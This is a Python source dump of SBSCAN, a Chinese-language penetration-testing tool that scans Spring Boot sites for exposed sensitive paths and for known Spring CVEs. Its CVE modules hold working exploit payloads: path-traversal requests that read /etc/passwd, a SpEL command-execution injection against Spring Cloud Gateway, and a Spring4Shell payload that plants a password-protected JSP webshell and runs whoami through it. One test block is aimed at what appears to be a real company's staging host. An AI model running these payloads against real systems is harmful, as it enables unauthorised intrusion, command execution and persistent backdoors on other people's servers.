SBSCAN是一款针对spring框架的渗透测试工具，可以对指定站点进行spring boot敏感信息扫描以及进行spring相关漏洞的扫描与验证。
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     __init__.py.py
   Description :
   Author :       suleo
   date：          2023/10/8
"""

config/__init__.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     __init__.py.py
   Description :
   Author :       suleo
   date：          2023/10/8
"""

managers/__init__.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     concurrency_manager.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
from concurrent.futures import ThreadPoolExecutor, as_completed
from utils.logging_config import configure_logger
logger = configure_logger(__name__)


class ConcurrencyManager:
    def __init__(self, thread_count=10):
        self.thread_count = thread_count

    def execute_tasks(self, task_func, items):
        results = []
        with ThreadPoolExecutor(max_workers=self.thread_count) as executor:
            futures = [executor.submit(task_func, item) for item in items]
            for future in as_completed(futures):
                try:
                    result = future.result()
                    results.append(result)
                except Exception as exc:
                    logger.error(f"Generated an exception: {exc}")
        return results

managers/concurrency_manager.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     proxy_manager.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import requests
from utils.logging_config import configure_logger

# Constants
TEST_URL = "https://www.baidu.com/"
TIMEOUT = 10

logger = configure_logger(__name__)
requests.packages.urllib3.disable_warnings()


class ProxyManager:
    def __init__(self, proxies=None):
        self.proxy = proxies
        if self.proxy and not self._is_proxy_working():
            msg = "Proxy seems to be non-functional. Proceeding without it."
            logger.warning(msg)
            raise ConnectionError("Error: Proxy unavailable")

    def _is_proxy_working(self):
        """
        检测代理有效性
        """
        try:
            response = requests.get(TEST_URL, verify=False, proxies=self.proxy, timeout=TIMEOUT)
            if response.status_code == 200:
                logger.info("Proxy detection available")
                return True
        except requests.Timeout:
            logger.warning("Proxy connection timed out")
        except requests.ConnectionError:
            logger.warning("Error connecting through proxy")
        except ValueError as e:
            logger.warning("Proxy detect ValueError: %s", e)
        except Exception as e:
            logger.warning("Proxy detect UnknownError: %s", e)
        return False

    def get_proxy(self):
        return self.proxy


managers/proxy_manager.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     scanner_manager.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
from rich import print
import requests
from scanners.path_detector import PathDetector
from scanners.cve_scanner import CVE_Scanner
from scanners.fingerprint_detector import FingerprintDetector
from utils.config_loader import ConfigLoader
from utils.reporter import ReportGenerator
from utils.logging_config import configure_logger
logger = configure_logger(__name__)


class ScannerManager:
    def __init__(self, target_urls, proxy_manager, max_threads=10, fingerprint_filter=False, quiet=False):
        self.target_urls = target_urls
        self.proxy_manager = proxy_manager
        self.max_threads = max_threads
        self.quiet = quiet
        self.fingerprint_filter = fingerprint_filter
        self.reporter = ReportGenerator(quiet=quiet)

        # 创建Path扫描器的实例
        paths_config = ConfigLoader.load_config("config/path.json")
        self.path_detector = PathDetector(paths_config, self.proxy_manager)

        # 创建CVE扫描器的实例
        cve_config = ConfigLoader.load_config("config/cve.json") or {}
        self.cve_scanner = CVE_Scanner(cve_config, self.proxy_manager)

    def start_scanning(self):
        for url in self.target_urls:
            logger.info(f"Starting scan for {url}")
            try:
                if self.fingerprint_filter:
                    # 指纹检测
                    fingerprint_detector = FingerprintDetector(self.proxy_manager)
                    is_spring = fingerprint_detector.is_spring_app(url)
                    if not is_spring:
                        self.reporter.generate(url, is_spring, [], [])
                        logger.info(f"Completed scan for {url}")
                        continue
                else:
                    is_spring = None

                # 敏感路径检测
                detected_paths = self.path_detector.detect(url)
                if detected_paths:
                    for path in detected_paths:
                        logger.info(f"Detected path {path} for {url}")
                else:
                    logger.info(f"No sensitive paths detected for {url}")

                # CVE扫描
                found_cves = self.cve_scanner.scan(url)
                if found_cves:
                    for cve in found_cves:
                        logger.info(f"Detected {cve['CVE_ID']} for {url}")
                else:
                    logger.info(f"No CVE vulnerabilities detected for {url}")

                # 报告
                self.reporter.generate(url, is_spring, detected_paths, found_cves)
                logger.info(f"Completed scan for {url}")
            except requests.RequestException as e:
                logger.error(f"处理URL {url} 时发生错误: {str(e)}")

        return self.reporter.get_report_data()

    # @staticmethod
    # def from_file(file_path, proxies=None, max_threads=10):
    #     with open(file_path, 'r') as f:
    #         urls = [line.strip() for line in f.readlines()]
    #     return ScannerManager(urls, proxies, max_threads)

managers/scanner_manager.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     sbscan.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import sys
from utils.banner import banner
import click
from managers.proxy_manager import ProxyManager
from managers.scanner_manager import ScannerManager
from utils.logging_config import configure_logger
from utils.args_prase import parse_and_validate_args

logger = configure_logger(__name__)


@click.command()
@click.option("-u", "--url", type=str, help="对单个URL进行扫描")
@click.option("-f", "--file", help="读取文件中的url进行扫描", type=click.Path(exists=True))
@click.option("-p", "--proxy", type=str, help="使用HTTP代理")
@click.option("-t", "--threads", type=int, help="并发线程数。", default=5)
@click.option("-ff", "--fingerprint_filter", is_flag=True, help="只对存在spring指纹的网站开始扫描")
@click.option("-q", "--quiet", is_flag=True, help="纯净版输出，仅输出命中的结果")
def main(url, file, proxy, threads, fingerprint_filter, quiet):
    try:
        # 使用args_parse模块进行参数解析和验证
        args_data = parse_and_validate_args(url, file, proxy, threads)
    except ValueError as e:
        click.secho(str(e), fg='red')
        sys.exit(1)

    try:
        proxy_manager = ProxyManager(args_data["proxy"])
    except Exception as e:
        click.secho(str(e), fg='red')
        sys.exit(1)

    manager = ScannerManager(args_data["urls"], proxy_manager, args_data["threads"], fingerprint_filter, quiet)
    report_data = manager.start_scanning()
    if quiet and not report_data:
        click.secho("No sensitive paths or CVEs detected for the provided URLs.", fg="yellow")
    manager.reporter.save_report_to_file()


if __name__ == "__main__":
    banner()
    main()

sbscan.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     __init__.py.py
   Description :
   Author :       suleo
   date：          2023/10/8
"""

scanners/__init__.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     cve_scanner.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
from tqdm import tqdm
from utils.logging_config import configure_logger
logger = configure_logger(__name__)


class CVE_Scanner:
    def __init__(self, cve_data, proxy_manager):
        # 加载cve.json中的配置
        self.cve_data = cve_data
        self.proxy = proxy_manager.get_proxy()

    def scan(self, url):
        """
        扫描指定的URL以寻找CVE漏洞。
        """
        found_cves = []
        for cve_key, cve_value in tqdm(self.cve_data.items(), desc=f"Start CVE Scanning for {url}", ncols=100, leave=False):
            # 检查is_poc字段是否为"true"
            if cve_value.get("is_poc") != "true":
                continue

            # 使用cve_key检查是否存在相应的CVE扫描模块
            module_name = f"scanners.cve_scanners.{cve_key}"
            try:
                cve_module = __import__(module_name, fromlist=["check"])
                is_vulnerable, details = cve_module.check(url, self.proxy)
                if is_vulnerable:
                    found_cves.append(details)
            except ImportError:
                logger.error(f"No CVE scanning module found for {cve_key}")
            except Exception as e:
                logger.error(f"Error during scanning for {cve_key}. Error: {e}")

        return found_cves

scanners/cve_scanner.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     __init__.py.py
   Description :
   Author :       suleo
   date：          2023/10/8
"""

scanners/cve_scanners/__init__.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     cve_2019.py
   Description :
   Author :       suleo
   date：          2023/10/9
"""
import requests
from utils.custom_headers import DEFAULT_HEADER, TIMEOUT
from utils.logging_config import configure_logger
logger = configure_logger(__name__)
requests.packages.urllib3.disable_warnings()


def check(url, proxies=None):
    """
    对给定的目标URL检测CVE-2019-3379漏洞。

    参数:
    - target_url: 待检测的目标URL
    - proxies: 代理配置
    """
    CVE_ID = "CVE-2019-3799"

    payload = "test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"
    target_url = url + payload
    try:
        res = requests.get(target_url, headers=DEFAULT_HEADER, timeout=TIMEOUT, verify=False)
        if res.status_code == 200 and r"x:0:0:root:/root:" in res.text and r"/sbin/nologin" in res.text and r"daemon" in res.text:
            return True, {
                "CVE_ID": CVE_ID,
                "URL": target_url,
                "Details": f"检测到{CVE_ID}的RCE漏洞",
                "response": res.text[:20] + "...."
            }
        return False, {
            "CVE_ID": CVE_ID,
            "URL": url,
            "Details": f"未检测到{CVE_ID}的RCE漏洞"
        }
    except requests.ConnectionError as e:
        logger.error(f"URL: {target_url} 连接错误：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"连接错误：{e}"
        }
    except requests.Timeout as e:
        logger.error(f"URL: {target_url} 请求超时：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求超时：{e}"
        }
    except requests.RequestException as e:
        logger.error(f"URL: {target_url} 请求出错：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求出错：{e}"
        }


if __name__ == '__main__':
    is_vul, res = check("http://localhost:8080/", proxies={})
    print(is_vul, res)

scanners/cve_scanners/cve_2019_3799.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     cve_2020_5410.py
   Description :
   Author :       suleo
   date：          2023/10/9
"""
import requests
from utils.custom_headers import DEFAULT_HEADER, TIMEOUT
from utils.logging_config import configure_logger
logger = configure_logger(__name__)
requests.packages.urllib3.disable_warnings()


def check(url, proxies=None):
    """
    对给定的目标URL检测CVE-2020-5410漏洞。

    参数:
    - target_url: 待检测的目标URL
    - proxies: 代理配置
    """
    CVE_ID = "CVE-2020-5410"

    payload = "..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
    target_url = url + payload
    try:
        res = requests.get(target_url, headers=DEFAULT_HEADER, timeout=TIMEOUT, verify=False)
        if res.status_code == 200:
            if r"x:0:0:root:/root:" in res.text and r"/sbin/nologin" in res.text and r"daemon" in res.text:
                return True, {
                    "CVE_ID": CVE_ID,
                    "URL": target_url,
                    "Details": f"检测到{CVE_ID}的RCE漏洞",
                    "response": res.text[:20] + "...."
                }
        return False, {
            "CVE_ID": CVE_ID,
            "URL": url,
            "Details": f"未检测到{CVE_ID}的RCE漏洞"
        }
    except requests.ConnectionError as e:
        logger.error(f"URL: {target_url} 连接错误：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"连接错误：{e}"
        }
    except requests.Timeout as e:
        logger.error(f"URL: {target_url} 请求超时：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求超时：{e}"
        }
    except requests.RequestException as e:
        logger.error(f"URL: {target_url} 请求出错：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求出错：{e}"
        }


if __name__ == '__main__':
    is_vul, res = check("http://localhost:8080/", proxies={})
    print(is_vul, res)

scanners/cve_scanners/cve_2020_5410.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     cve_2022_22947.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import random
import requests
from utils.custom_headers import USER_AGENTS
from utils.logging_config import configure_logger
logger = configure_logger(__name__)
requests.packages.urllib3.disable_warnings()


def check(target_url, proxies=None):
    """
    对给定的目标URL检测CVE-2022-22947漏洞。

    参数:
    - target_url: 待检测的目标URL
    - proxies: 代理配置
    """
    CVE_ID = "CVE-2022-22947"
    headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': random.choice(USER_AGENTS),
        'Content-Type': 'application/json'
    }

    headers2 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': random.choice(USER_AGENTS),
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    payload = '''{\r
        "id": "hacktest",\r
        "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\\"id\\\"}).getInputStream()))}"}\r
        }],\r
        "uri": "http://example.com",\r
        "order": 0\r
    }'''
    target_url = target_url.rstrip("/")
    try:
        # 发起请求
        res1 = requests.post(target_url + "/actuator/gateway/routes/hacktest", headers=headers1, data=payload, verify=False, timeout=10, proxies=proxies)

        if res1.status_code != 201:
            return False, {
                "CVE_ID": CVE_ID,
                "URL": res1.url,
                "Details": f"未检测到CVE-2022-22947的RCE漏洞"
            }

        requests.post(target_url + "/actuator/gateway/refresh", headers=headers2, verify=False, timeout=10, proxies=proxies)
        res3 = requests.get(target_url + "/actuator/gateway/routes/hacktest", headers=headers2, verify=False, timeout=10, proxies=proxies)
        requests.delete(target_url + "/actuator/gateway/routes/hacktest", headers=headers2, verify=False, timeout=10, proxies=proxies)
        requests.post(target_url + "/actuator/gateway/refresh", headers=headers2, verify=False, timeout=10, proxies=proxies)

        if res3.status_code == 200:
            return True, {
                "CVE_ID": CVE_ID,
                "URL": res3.url,
                "Details": f"检测到{CVE_ID}的RCE漏洞",
                "response": res3.json()
            }
        else:
            return False, {
                "CVE_ID": CVE_ID,
                "URL": target_url,
                "Details": f"未检测到{CVE_ID}的RCE漏洞"
            }
    except requests.ConnectionError as e:
        logger.error(f"URL: {target_url} 连接错误：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"连接错误：{e}"
        }

    except requests.Timeout as e:
        logger.error(f"URL: {target_url} 请求超时：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求超时：{e}"
        }

    except requests.RequestException as e:
        logger.error(f"URL: {target_url} 请求出错：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求出错：{e}"
        }


if __name__ == '__main__':
    is_vul, res = check("https://nts-sp-xt-stg1.pingan.com/", proxies={})
    print(is_vul, res)

scanners/cve_scanners/cve_2022_22947.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     cve_2022_22963.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import requests
import random
from utils.custom_headers import USER_AGENTS
from utils.logging_config import configure_logger
logger = configure_logger(__name__)
requests.packages.urllib3.disable_warnings()


def check(target_url, proxies=None):
    """
    对给定的目标URL检测CVE-2022-22963漏洞。
    参数:
    - target_url: 待检测的目标URL
    - proxies: 代理配置
    """
    CVE_ID = "CVE-2022-22963"
    headers = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': random.choice(USER_AGENTS),
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    # 构建请求URL
    request_url = target_url.rstrip("/") + "/functionRouter"

    try:
        response = requests.post(request_url, headers=headers, data='test', verify=False, timeout=6, proxies=proxies if proxies else {})

        # 检查响应内容来判断漏洞是否存在
        if response.status_code == 500 and '"error":"Internal Server Error"' in response.text:
            logger.info(f"URL: {request_url} 存在{CVE_ID}漏洞")
            return True, {
                "CVE_ID": CVE_ID,
                "URL": request_url,
                "Details": f"检测到{CVE_ID}的RCE漏洞"
            }
        logger.info(f"URL: {target_url} 未检测到{CVE_ID}的RCE漏洞")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"未检测到{CVE_ID}的RCE漏洞"
        }
    except requests.ConnectionError as e:
        logger.error(f"URL: {target_url} 连接错误：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"连接错误：{e}"
        }
    except requests.Timeout as e:
        logger.error(f"URL: {target_url} 请求超时：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求超时：{e}"
        }
    except requests.RequestException as e:
        logger.error(f"URL: {target_url} 请求出错：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求出错：{e}"
        }


if __name__ == "__main__":
    is_vul, res = check("http://localhost:8080/", proxies={})
    print(is_vul, res)

scanners/cve_scanners/cve_2022_22963.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     cve_2022_22965.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import random
import requests
import time
from urllib.parse import urljoin, urlparse
from utils.custom_headers import USER_AGENTS, TIMEOUT
from utils.logging_config import configure_logger
logger = configure_logger(__name__)
requests.packages.urllib3.disable_warnings()


def check(target_url, proxies=None):
    """
    对给定的目标URL检测CVE-2022-22965漏洞。
    参数:
    - target_url: 待检测的目标URL
    - proxies: 代理配置
    """
    CVE_ID = "CVE-2022-22965"

    headers = {
        "suffix": "%>//",
        "c1": "Runtime",
        "c2": "<%",
        "DNT": "1",
        "User-Agent": random.choice(USER_AGENTS)
    }

    # 构建payload
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di"
    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
    log_file_prefix = "class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    arg_payload = "?" + "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    try:
        url_with_payload = target_url + arg_payload
        requests.get(url_with_payload, headers=headers, verify=False, timeout=TIMEOUT, proxies=proxies)

        # 等待上传完成
        time.sleep(5)

        # 开始请求上传的webshell文件
        shell_url = urljoin(target_url, 'tomcatwar.jsp?pwd=j&cmd=whoami')
        shell_response = requests.get(shell_url, timeout=TIMEOUT, stream=True, verify=False, proxies=proxies)
        if shell_response.status_code == 200:
            logger.info(f"Detected CVE-2022-22965 vulnerability at: {shell_url}")
            return True, {
                "CVE_ID": CVE_ID,
                "URL": shell_url,
                "Details": f"检测到{CVE_ID}的RCE漏洞",
                "Response": shell_response.text[:20] + "......"
            }
        else:
            parsed_url = urlparse(shell_url)
            root_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
            shell_url_root = urljoin(root_url, 'tomcatwar.jsp?pwd=j&cmd=whoami')
            shell_response_root = requests.get(shell_url_root, timeout=TIMEOUT, stream=True, verify=False, proxies=proxies)

            if shell_response_root.status_code == 200:
                logger.info(f"Detected {CVE_ID} vulnerability at: {shell_url_root}")
                return True, {
                    "CVE_ID": CVE_ID,
                    "URL": shell_response_root,
                    "Details": f"检测{CVE_ID}的RCE漏洞",
                    "Response": shell_response.text[:20] + "......"
                }
            return False, {
                "CVE_ID": CVE_ID,
                "URL": target_url,
                "Details": "未检测到CVE-2022-22965漏洞"
            }
    except requests.ConnectionError as e:
        logger.error(f"URL: {target_url} 连接错误：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"连接错误：{e}"
        }

    except requests.Timeout as e:
        logger.error(f"URL: {target_url} 请求超时：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求超时：{e}"
        }

    except requests.RequestException as e:
        logger.error(f"URL: {target_url} 请求出错：{e}")
        return False, {
            "CVE_ID": CVE_ID,
            "URL": target_url,
            "Details": f"请求出错：{e}"
        }


if __name__ == '__main__':
    is_vul, res = check("http://localhost:8080/", proxies={})
    print(is_vul, res)

scanners/cve_scanners/cve_2022_22965.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     fingerprint_detector.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import hashlib
import requests
from utils.custom_headers import DEFAULT_HEADER
from utils.logging_config import configure_logger

logger = configure_logger(__name__)


class FingerprintDetector:
    SPRING_FAVICON_HASH = "0488faca4c19046b94d07c3ee83cf9d6"
    PATHS = ["/favicon.ico", "/"]

    def __init__(self, proxy_manager):
        self.proxy = proxy_manager.get_proxy()

    def is_spring_app(self, url):
        """
        检测目标站点是否使用Spring框架
        """
        for path in self.PATHS:
            full_url = url.rstrip("/") + path
            logger.debug(full_url)
            response = self._make_request(full_url)
            try:
                if response.text:
                    if self._is_spring_by_favicon(response) or self._is_spring_by_content(response, url):
                        return True
            except:
                logger.error("An error occurred during fingerprint matching. Procedure")
        logger.info(f"{url} is not a Spring application.")
        return False

    @staticmethod
    def _is_spring_by_favicon(response):
        try:
            if "image" in response.headers.get("Content-Type", ""):
                favicon_hash = hashlib.md5(response.content).hexdigest()
                if favicon_hash == FingerprintDetector.SPRING_FAVICON_HASH:
                    return True
            return False
        except:
            logger.error("response not headers")

    @staticmethod
    def _is_spring_by_content(response, url):
        if 'Whitelabel Error Page' in response.text or 'example domain' in response.text.lower():
            logger.info(f"{url} is a Spring application.")
            return True
        return False

    def _make_request(self, url):
        """
        向指定的URL发起请求并返回响应。
        """
        try:
            response = requests.get(url, headers=DEFAULT_HEADER, proxies=self.proxy, timeout=10, verify=False)
            logger.debug(response.status_code)
            logger.debug(response.headers)
            if response.status_code in [200, 404] and response.text:
                logger.debug(response.text)
                return response
        except requests.ConnectionError as e:
            logger.error(f"URL: {url} 连接错误：{e}")
        except requests.Timeout as e:
            logger.error(f"URL: {url} 请求超时：{e}")
        except requests.RequestException as e:
            logger.error(f"URL: {url} 请求出错：{e}")
        return None

scanners/fingerprint_detector.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     path_detector.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import requests
from tqdm import tqdm
from utils.logging_config import configure_logger
logger = configure_logger(__name__)


class PathDetector:
    MAX_FAILED_COUNT = 20
    CHUNK_SIZE = 1024
    SSE_MAX_SIZE = 2048

    def __init__(self, paths, proxy_manager):
        self.paths = paths
        self.proxy = proxy_manager.get_proxy()
        self.path_failed_count = 0

    def detect(self, url):
        """
        敏感路径检测
        """
        detected_paths = []
        for path, signature in tqdm(self.paths.items(), desc=f"Start Path Scanning for {url}", ncols=100, nrows=100, leave=False):
            if self.path_failed_count > self.MAX_FAILED_COUNT:
                break
            full_url = url + path
            response = self._make_request(full_url)
            if response:
                if signature.lower() in response.lower():
                    detected_paths.append(full_url)
            else:
                self.path_failed_count += 1

        return detected_paths

    def _make_request(self, url):
        try:
            with requests.get(url, verify=False, proxies=self.proxy if self.proxy else {}, timeout=10, stream=True) as response:
                if "text/event-stream" not in response.headers.get("Content-Type", ""):
                    if response.status_code == 200:
                        return response.text
                else:  # 如果是SSE，读取前2048字节，然后断开连接
                    content = b""
                    for chunk in response.iter_content(self.CHUNK_SIZE):
                        content += chunk
                        if len(content) > 2048:
                            break
                    return content.decode("utf-8")
        except requests.ConnectionError as e:
            logger.error(f"URL: {url} 连接错误：{e}")
        except requests.Timeout as e:
            logger.error(f"URL: {url} 请求超时：{e}")
        except requests.RequestException as e:
            logger.error(f"URL: {url} 请求出错：{e}")

        return None

    def _is_valid_response(self, response):
        """
        进一步验证找到的敏感路径的响应内容。
        基于响应长度进行验证，添加其他逻辑，如检查特定的响应头或响应体内容。
        """
        return 100 < len(response.text) < 10000

scanners/path_detector.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     __init__.py.py
   Description :
   Author :       suleo
   date：          2023/10/8
"""

utils/__init__.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     args_prase.py
   Description :
   Author :       sule01u
   date：          2023/10/9
"""
import click
from utils.format_utils import format_url, format_proxy
from utils.logging_config import configure_logger
logger = configure_logger(__name__)


def parse_and_validate_args(url, file, proxy, threads):
    """
    cli参数解析
    """
    if not url and not file:
        raise ValueError("Please provide either a URL using -u/--url or a file with URLs using -f/--file.")

    if url and file:
        raise ValueError("Both URL and file arguments cannot be provided simultaneously. Please provide only one.")

    if proxy:
        # 存在代理配置时，代理格式化失败抛出异常
        formated_proxy = format_proxy(proxy)
        if not formated_proxy:
            logger.error("Invalid Proxy provided. Exiting...")
            raise ValueError("Invalid Proxy provided. Exiting...")
    else:
        logger.info("Unspecified proxy")
        formated_proxy = {}

    urls = []
    invalid_urls = []

    if url:
        formatted_url = format_url(url)
        if not formatted_url:
            logger.error("Invalid URL provided. Exiting...")
            raise ValueError("Invalid URL provided. Exiting...")
        urls.append(formatted_url)

    if file:
        with open(file, 'r') as f:
            lines = f.readlines()
            for line in lines:
                formatted_url = format_url(line.strip())
                if not formatted_url:
                    invalid_urls.append(line.strip())
                else:
                    urls.append(formatted_url)

    if not urls:
        logger.error("No valid URLs provided in file to scan. Exiting...")
        raise ValueError("No valid URLs provided in file to scan. Exiting...")

    if invalid_urls:
        logger.info("The url file has an unrecognized URL")
        click.secho("The following URLs are invalid:", fg='yellow')
        for inv_url in invalid_urls:
            click.secho(inv_url, fg='yellow')

    logger.info(f"return args: %s" % {
        "urls": urls,
        "proxy": formated_proxy,
        "threads": threads
    })
    return {
        "urls": urls,
        "proxy": formated_proxy,
        "threads": threads
    }

utils/args_prase.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     output.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
from rich import print


def banner():
    LOGO = r'''
             _
 _   _ _ __ | | ___ __   _____      ___ __        ___  ___  ___
| | | | '_ \| |/ / '_ \ / _ \ \ /\ / / '_ \ _____/ __|/ _ \/ __|
| |_| | | | |   <| | | | (_) \ V  V /| | | |_____\__ \  __/ (__
 \__,_|_| |_|_|\_\_| |_|\___/ \_/\_/ |_| |_|     |___/\___|\___|

 name: SBSCAN
 author: sule01u
 from: https://github.com/sule01u/SBSCAN
 desc: springboot信息泄漏扫描 & spring漏洞扫描

'''
    print(LOGO)

utils/banner.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     config_loader.py
   Description :
   Author :       sule01u
   date：          2023/10/8
"""
import json
from utils.logging_config import configure_logger
logger = configure_logger(__name__)


class ConfigLoader:
    @staticmethod
    def load_config(file_path):
        """
        从给定的文件路径加载配置
        """
        try:
            with open(file_path, 'r') as file:
                logger.info(f"{file_path} loading succcess!")
                return json.load(file)
        except (FileNotFoundError, json.JSONDecodeError) as e:
            logger.error(f"Error loading config from {file_path}. Error: {e}")
            return None

utils/config_loader.py
sule01u/SBSCAN
#!/usr/local/bin/python3
# -*- coding: utf-8 -*-
"""
   File Name：     custom_headers.py
   Description :
   Author :       sule01u
   date：          2023/10/4
"""
import random

TIMEOUT = 30

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/41.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17",
    "Mozilla/5.0 (Windows NT 6.3; Win64, x64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;",
    "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.7 Safari/537.36"
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3141.7 Safari/537.36"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
    "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; 360SE)",
    "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  QIHU 360EE)",
